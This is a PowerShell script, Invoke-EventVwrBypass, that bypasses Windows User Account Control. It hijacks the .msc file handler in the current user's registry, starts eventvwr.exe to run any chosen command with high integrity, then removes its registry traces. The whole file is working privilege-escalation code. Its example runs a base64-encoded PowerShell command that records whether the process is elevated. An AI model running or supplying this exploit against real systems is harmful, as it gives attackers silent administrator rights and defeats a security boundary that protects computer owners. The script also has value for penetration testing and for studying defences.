function Invoke-EventVwrBypass { <# .SYNOPSIS Bypasses UAC by performing an image hijack on the .msc file extension Expected to work on Win7, 8.1 and Win10 Only tested on Windows 7 and Windows 10 Author: Matt Nelson (@enigma0x3) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .PARAMETER Command Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc " .EXAMPLE Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" This will write out "Is Elevated: True" to C:\UACBypassTest. #> [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] Param ( [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String] $Command, [Switch] $Force ) $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){ "UAC is set to 'Always Notify'. This module does not bypass this setting." exit } else{ #Begin Execution $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command" $Command = $pshome + '\' + $Command #Add in the new registry entries to hijack the msc file if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ New-Item $mscCommandPath -Force | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null }else{ Write-Warning "Key already exists, consider using -Force" exit } if (Test-Path $mscCommandPath) { Write-Verbose "Created registry entries to hijack the msc extension" }else{ Write-Warning "Failed to create registry key, exiting" exit } $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe' #Start Event Viewer if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) { $Process = Start-Process -FilePath $EventvwrPath -PassThru Write-Verbose "Started eventvwr.exe" } #Sleep 5 seconds Write-Verbose "Sleeping 5 seconds to trigger payload" if (-not $PSBoundParameters['WhatIf']) { Start-Sleep -Seconds 5 } $mscfilePath = "HKCU:\Software\Classes\mscfile" if (Test-Path $mscfilePath) { #Remove the registry entry Remove-Item $mscfilePath -Recurse -Force Write-Verbose "Removed registry entries" } if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){ Stop-Process -Id $Process.Id Write-Verbose "Killed running eventvwr process" } } }